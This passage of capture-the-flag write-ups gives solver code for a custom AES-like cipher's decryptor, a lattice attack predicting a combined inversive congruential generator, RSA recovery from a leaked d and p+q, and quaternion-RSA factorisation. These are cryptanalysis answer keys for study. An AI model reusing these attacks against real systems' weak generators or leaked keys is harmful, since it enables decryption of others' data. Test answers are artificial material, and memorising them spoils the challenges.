It has AES-like encryption routine. But the last row of encrypted block is dependent on other rows at each round.

So, we could implement decryptor easily.



















































enc = bytes.fromhex('FE 60 A8 C0 3B FE BC 66 FC 9A 9B 31 9A D8 03 BB A9 E1 56 FC FC 11 9F 89 5F 4D 9F E0 9F AE 2A CF 5E 73 CB EC 3F FF B9 D1 99 44 1B 9A 79 79 EC D1 B4 FD EA 2B E2 F1 1A 70 76 3C 2E 7F 3F 3B 7B 66 A3 4B 1B 5C 0F BE DD 98 5A 5B D0 0A 3D 7E 2C 10 56 2A 10 87 5D D9 B9 7F 3E 2E 86 B7 17 04 DF B1 27 C4 47 E2 D9 7A 9A 48 7C DB C6 1D 3C 00 A3 21')
sbox = bytes.fromhex('63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 CA 82 C9 7D FA 59 47 F0 AD D4 A2 AF 9C A4 72 C0 B7 FD 93 26 36 3F F7 CC 34 A5 E5 F1 71 D8 31 15 04 C7 23 C3 18 96 05 9A 07 12 80 E2 EB 27 B2 75 09 83 2C 1A 1B 6E 5A A0 52 3B D6 B3 29 E3 2F 84 53 D1 00 ED 20 FC B1 5B 6A CB BE 39 4A 4C 58 CF D0 EF AA FB 43 4D 33 85 45 F9 02 7F 50 3C 9F A8 51 A3 40 8F 92 9D 38 F5 BC B6 DA 21 10 FF F3 D2 CD 0C 13 EC 5F 97 44 17 C4 A7 7E 3D 64 5D 19 73 60 81 4F DC 22 2A 90 88 46 EE B8 14 DE 5E 0B DB E0 32 3A 0A 49 06 24 5C C2 D3 AC 62 91 95 E4 79 E7 C8 37 6D 8D D5 4E A9 6C 56 F4 EA 65 7A AE 08 BA 78 25 2E 1C A6 B4 C6 E8 DD 74 1F 4B BD 8B 8A 70 3E B5 66 48 03 F6 0E 61 35 57 B9 86 C1 1D 9E E1 F8 98 11 69 D9 8E 94 9B 1E 87 E9 CE 55 28 DF 8C A1 89 0D BF E6 42 68 41 99 2D 0F B0 54 BB 16')
ibox = [sbox.index(i) for i in range(256)]
ROL = lambda a,b: ((a << b) | (a >> (32 - b))) & 0xFFFFFFFF
'''
0x7ffff7fba044:	0xf6067814	0xed73cb7e	0x1583a8b2	0x0dde8d93
0x7ffff7fba054:	0x23e2374b	0x40b83c72	0x0b3f811a	0xd6e7a993
0x7ffff7fba064:	0x2622de7c	0xc581dcae	0xa906524c	0xdb4f2cc1
0x7ffff7fba074:	0x0ddb3477	0x8c1a92a4	0x3bd711c0	0x1bb16503
0x7ffff7fba084:	0x00acd720	0x2735f2d0	0x9a9300fe	0xfb2556a7
0x7ffff7fba094:	0xcbe1fe58	0xc03db8c9	0xf77cb701	0x0a1f85ae
0x7ffff7fba0a4:	0x14dd27dc	0xe1a5e3a9	0x41d1f9ee	0xfe6afce7
0x7ffff7fba0b4:	0xd80eac32	0xf43efead	0x6475d80f	0x38a310d6
'''
expanded_key = [
    0xf6067814,	0xed73cb7e,	0x1583a8b2,	0x0dde8d93,
    0x23e2374b,	0x40b83c72,	0x0b3f811a,	0xd6e7a993,
    0x2622de7c,	0xc581dcae,	0xa906524c,	0xdb4f2cc1,
    0x0ddb3477,	0x8c1a92a4,	0x3bd711c0,	0x1bb16503,
    0x00acd720,	0x2735f2d0,	0x9a9300fe,	0xfb2556a7,
    0xcbe1fe58,	0xc03db8c9,	0xf77cb701,	0x0a1f85ae,
    0x14dd27dc,	0xe1a5e3a9,	0x41d1f9ee,	0xfe6afce7,
    0xd80eac32,	0xf43efead,	0x6475d80f,	0x38a310d6
]

enc = [int.from_bytes(enc[i:i+4],'big') for i in range(0, len(enc), 4)]

flag = b''
for I in range(0, len(enc), 4):
    a,b,c,d = enc[I+0:I+4][::-1]

    for i in range(len(expanded_key) - 1, -1, -1):
        k = expanded_key[i]
        b,c,d,v5 = a,b,c,d
        x = b^c^d^k
        u = 0
        for j in range(0, 32, 8):
            v11 = sbox[(x >> j) & 0xFF] << j;
            u |= v11
        x = u
        x ^= ROL(u, 3)
        x ^= ROL(u, 14)
        x ^= ROL(u, 15)
        x ^= ROL(u, 9)

        a = x ^ v5
        # print(hex(a))

    flag += a.to_bytes(4,'big') + b.to_bytes(4,'big') + c.to_bytes(4,'big') + d.to_bytes(4,'big')

print(flag)

Crypto

CIG

With some computation, one can compute fixed constants

A, B

such that

x_{2} = A + B / x_{1} (\mod N)

where

x_{1}, x_{2}

are the generated outputs without the final mod

2^{256}

operation, and

N = p_{1} p_{2} p_{3}

With nine 32-byte data, we can set

s m a l l_{1}, \dots, s m a l l_{9}

as the small values such that

x_{i} = k n o w n_{i} + 2^{256} \cdot s m a l l_{i}

where

k n o w n_{i}

are the given 32-byte datasets.

Using the recurrence relation

x_{i + 1} = A + B / x_{i} (\mod N)

, one can compute known constants

A_{t}, B_{t}, C_{t}, D_{t}

such that

x_{i + t} = \frac{A_{t} x_{i} + B_{t}}{C_{t} x_{i} + D_{t}} (\mod N)

This gives a equation on

s m a l l_{i}, s m a l l_{j}, s m a l l_{i} \cdot s m a l l_{j}

Since

s m a l l_{i} < N / 2^{256}

, we can take the equations for each

1 \leq i < j \leq 9

and apply the naive bound

s m a l l_{i} < N / 2^{256}

s m a l l_{i} s m a l l_{j} < (N / 2^{256})^{2}

and apply a lattice algorithm to recover all

s m a l l_{i}

values. The recovery of the flag can be done simply by reversing the recurrence as

x_{i} = B / (x_{i + 1} - A) (\mod N)


































































































































































































































































from sage.all import * 
import random as rand
from Crypto.Util.number import inverse

from sage.modules.free_module_integer import IntegerLattice

# Directly taken from rbtree's LLL repository
# From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI
def Babai_CVP(mat, target):
	M = IntegerLattice(mat, lll_reduce=True).reduced_basis
	G = M.gram_schmidt()[0]
	diff = target
	for i in reversed(range(G.nrows())):
		diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
	return target - diff


def solve(M, lbounds, ubounds, weight = None):
	mat, lb, ub = copy(M), copy(lbounds), copy(ubounds)
	num_var  = mat.nrows()
	num_ineq = mat.ncols()

	max_element = 0 
	for i in range(num_var):
		for j in range(num_ineq):
			max_element = max(max_element, abs(mat[i, j]))

	if weight == None:
		weight = num_ineq * max_element

    # sanity checker
	if len(lb) != num_ineq:
		print("Fail: len(lb) != num_ineq")
		return

	if len(ub) != num_ineq:
		print("Fail: len(ub) != num_ineq")
		return

	for i in range(num_ineq):
		if lb[i] > ub[i]:
			print("Fail: lb[i] > ub[i] at index", i)
			return

    	# heuristic for number of solutions
	DET = 0

	if num_var == num_ineq:
		DET = abs(mat.det())
		num_sol = 1
		for i in range(num_ineq):
			num_sol *= (ub[i] - lb[i])
		if DET == 0:
			print("Zero Determinant")
		else:
			num_sol //= DET
			# + 1 added in for the sake of not making it zero...
			print("Expected Number of Solutions : ", num_sol + 1)

	# scaling process begins
	max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
	applied_weights = []

	for i in range(num_ineq):
		ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
		applied_weights.append(ineq_weight)
		for j in range(num_var):
			mat[j, i] *= ineq_weight
		lb[i] *= ineq_weight
		ub[i] *= ineq_weight

	# Solve CVP
	target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
	result = Babai_CVP(mat, target)

	for i in range(num_ineq):
		if (lb[i] <= result[i] <= ub[i]) == False:
			print("Fail : inequality does not hold after solving")
			break
    
    	# recover x
	fin = None

	if DET != 0:
		mat = mat.transpose()
		fin = mat.solve_right(result)
	
	## recover your result
	return result, applied_weights, fin

def prod(x: list[int]) -> int:
    return reduce(lambda a, b: a * b, x, 1)


def xor(x: bytes, y: bytes) -> bytes:
    return bytes([xi ^ yi for xi, yi in zip(x, y)])

enc_flag = b'\xd5 \xc3b\xa3\xa1\xd6\xe5Sv\xe7%n\xd6\xd6UcQNYU\x1arR\xdes\xb4\x12\xc9\xed\x1a\xc6^=\xe1\xe3p@\xe65\x19\x18S\x80\xa4TE\x7f\x92\x07&"\xdf\xc9\xe1\xbd@QL\xcf\x90\x98\xd9C$\xcb\xb4U'
leaked = b"^\xed>\x03\xad\x8c\x1d\xa1\xe29\x83\x92\xbdm\xefL\xe5\xe5\xab\xc9\xffZ\xbd8\x95\x97\xa3i/k\xb1\x8dSD\x1e\x92;\x87\xa7\x16\xdc\x98\x15\x1ba\xc3fQ\xa9\t\xe8ak.0\xe3\x93\xba\x82\xb2%\xc2\x88]u\xeb\xfctKw\xe5\xcc\xd2\xce\xa7\x8c\xd6T\xe3\xfa$\xec\xca\xcc\x1a\x08\xbd3\xdd!D\xc8\xa7}\xeb\xd2=\xfb\x96\xeek\xdef>\xedm\t\x12\xe6\xeeO\xc5\xbe\xcev\x9aB\x90\x84\x981j'\xb18\xbb\x08\x93\xbd\xf9\xb1>/\x81\x83]\x93C\x84D\x9b5\xd0l\xcfQa\xe3\x1ev !\xd6W\xbc\x9b\xccV\xd65\x84\t\xd2\xdd\xde\xffs\xcc\x80\x16\x9cg\xcf\xa4&l\x8f\x82J\x16\xc7qNN\x90\x89\xef\xa6\xb8\x8c\xcb\xf8q\x0f.)\xa7 \x8b\x14\x83\xca-\x7fvP\x1a\x08\xb6^\x18\xd5\x9b\x01\xfa[\xdf3J\xc0\x85\x02\xe3\x16\\\x93\x17B\xd6\x8e2\xabia\xf1hT+][\x19c<\x06\xea%m\xc0\x01\xc6'\x95t\xf3\xf4\xd7\xe1f\xcd\x8f\xb0\xa3\\\xcfv\xa8\xfb\xb6\x03\xc4R\xe0\x10\xbb\xcb>\x0e\x94H8\xbe\x0c\xf6\x9c\xbf\xa1^\x178\t1\xda\xd4\xc3cm\x84}\x9d\x84"

p1 = 21267647932558653966460912964485513283
a1 = 6701852062049119913950006634400761786
b1 = 19775891958934432784881327048059215186
p2 = 21267647932558653966460912964485513289
a2 = 10720524649888207044145162345477779939
b2 = 19322437691046737175347391539401674191
p3 = 21267647932558653966460912964485513327
a3 = 8837701396379888544152794707609074012
b3 = 10502852884703606118029748810384117800

class ICG:
    def __init__(self, p: int, a: int, b: int) -> None:
        self.p = p
        self.a = a
        self.b = b
        self.x = rand.randint(0, p - 1)

    def _next(self) -> int:
        if self.x == 0:
            self.x = self.b
            return self.x
        else:
            self.x = (self.a * pow(self.x, -1, self.p) + self.b) % self.p
            return self.x


class CIG:
    L = 256

    def __init__(self, icgs: list[ICG]) -> None:
        self.icgs = icgs
        self.T = prod([icg.p for icg in self.icgs])
        self.Ts = [self.T // icg.p for icg in self.icgs]
    
    def _next(self) -> int:
        ret = 0
        for icg, t in zip(self.icgs, self.Ts):
            ret += icg._next() * t
            ret %= self.T
        return ret

GEN = CIG([ICG(p1, a1, b1), ICG(p2, a2, b2), ICG(p3, a3, b3)])

N = p1 * p2 * p3 
A = (p2 * p3 * b1 + p1 * p2 * b3 + p3 * p1 * b2) % (p1 * p2 * p3)
B = (a1 * p2 * p3 * p2 * p3 + a2 * p3 * p3 * p1 * p1 + a3 * p1 * p1 * p2 * p2) % (p1 * p2 * p3)

x = GEN._next()
y = GEN._next()

assert (A + B * inverse(x, N)) % N == y

coefs = [[0] * 4 for _ in range(9)]

coefs[1] = [A, B, 1, 0]

for i in range(2, 9):
    u, v, c, d = coefs[i-1][0], coefs[i-1][1], coefs[i-1][2], coefs[i-1][3]
    coefs[i] = [(A * u + B * c) % N, (A * v + B * d) % N, u, v]

for i in range(1, 9):
    x = GEN._next()
    for j in range(i):
        y = GEN._next()
    assert y == ((coefs[i][0] * x + coefs[i][1]) * inverse(coefs[i][2] * x + coefs[i][3], N)) % N

K = 9

vals = [0] * K
for i in range(K):
    vals[i] = int.from_bytes(leaked[32 * i : 32 * i + 32], "big")

cc = 1 << 256

idxs = [[0] * K for _ in range(K)]

cur = K
for i in range(K):
    for j in range(i + 1, K):
        idxs[i][j] = cur 
        cur += 1

M = Matrix(ZZ, K * K, K * K)
offset = cur
lb = [0] * (K * K)
ub = [0] * (K * K)

for i in range(K):
    for j in range(i + 1, K):
        dif = j - i 
        # (coefs[dif][0] * (2^256 * var_i + vals[i]) + coefs[dif][1])
        # (coefs[dif][2] * (2^256 * var_i + vals[i]) + coefs[dif][3]) * (2^256 * var_j + vals[j])
        var_i_left = coefs[dif][0] * cc 
        const_left = coefs[dif][0] * vals[i] + coefs[dif][1]
        var_i_j_right = coefs[dif][2] * cc * cc
        var_i_right = coefs[dif][2] * cc * vals[j]
        var_j_right = (coefs[dif][2] * vals[i] + coefs[dif][3]) * cc
        const_right = (coefs[dif][2] * vals[i] + coefs[dif][3]) * vals[j]
        M[i, idxs[i][j] - K] = (var_i_left - var_i_right) % N
        M[j, idxs[i][j] - K] = (-var_j_right) % N
        M[idxs[i][j], idxs[i][j] - K] = (-var_i_j_right) % N
        M[offset + idxs[i][j] - K, idxs[i][j] - K] = N 

        lb[idxs[i][j] - K] = (const_right - const_left) % N
        ub[idxs[i][j] - K] = (const_right - const_left) % N

for i in range(K):
    M[i, offset - K + i] = 1
    lb[offset - K + i] = 0
    ub[offset - K + i] = N >> 256

for i in range(K):
    for j in range(i + 1, K):
        M[idxs[i][j], offset + idxs[i][j] - K] = 1
        lb[offset + idxs[i][j] - K] = 0
        ub[offset + idxs[i][j] - K] = (N >> 256) ** 2

cc = [57804297745068165924043436682464546, 71703226799396355798160218283589859, 43903357625865285041134655854723702, 7093107694488723732884036958291294, 81431809685050221847574458532332810, 68572964751870276141827901920468577, 70580211875229687245848456630493291, 1573725101669168478449903932713785, 66112119169252413992616503718509999]

start = vals[0] + (cc[0] << 256)
for i in range(1, 8):
    start = (A + B * inverse(start, N)) % N
    if start != vals[i] + (cc[i] << 256):
        print(i)

start = vals[0] + (cc[0] << 256)

res = b""
start = (B * inverse(start - A, N)) % N 

res = int.to_bytes(start % (1 << 256), 32, "big")[:4]

start = (B * inverse(start - A, N)) % N 

res = int.to_bytes(start % (1 << 256), 32, "big") + res

start = (B * inverse(start - A, N)) % N 

res = int.to_bytes(start % (1 << 256), 32, "big") + res 

print(xor(enc_flag, res))

'''
result, applied_weights, fin = solve(M, lb, ub)

lmao = [0] * K
for i in range(K):
    lmao[i] = fin[i]

print(lmao)

for i in range(K):
    for j in range(i + 1, K):
        if fin[idxs[i][j]] != lmao[i] * lmao[j]:
            print("HUH")

print(len(enc_flag))
'''

plai_n-rsa

Just exhaustive search the possibilities of phi(divisor of e * d - 1), and check if those phi(pq - p - q + 1), hint(p + q) has roots. After finding the roots, we can recover n and decrypt the flag.

ex.sage

e=65537
d=15...
hint=27...
c=88...

for i in range(1, 65537)[::-1]:
	phi = (e * d - 1) // i

	if phi * i != e * d - 1:
		continue

	add = hint
	mul = phi + add - 1

	if (add^2 - 4 * mul).sqrt() in ZZ:
		p = ((add^2 - 4 * mul).sqrt() + hint) // 2
		break

q = hint - p

n = p * q

from Crypto.Util.number import *

print(long_to_bytes(pow(c, d, n)))

RSA 4.0

Power of a + bi + cj + dk is always represented in form of: x + y(bi + cj + dk).
Using this fact, we can recover multiple of p from second term, and gcd with n to factorize n.

After that, multiplicative order of Quaternion element is p^2 - 1, so set the order to (p^2 - 1) * (q^2 - 1) and find the d.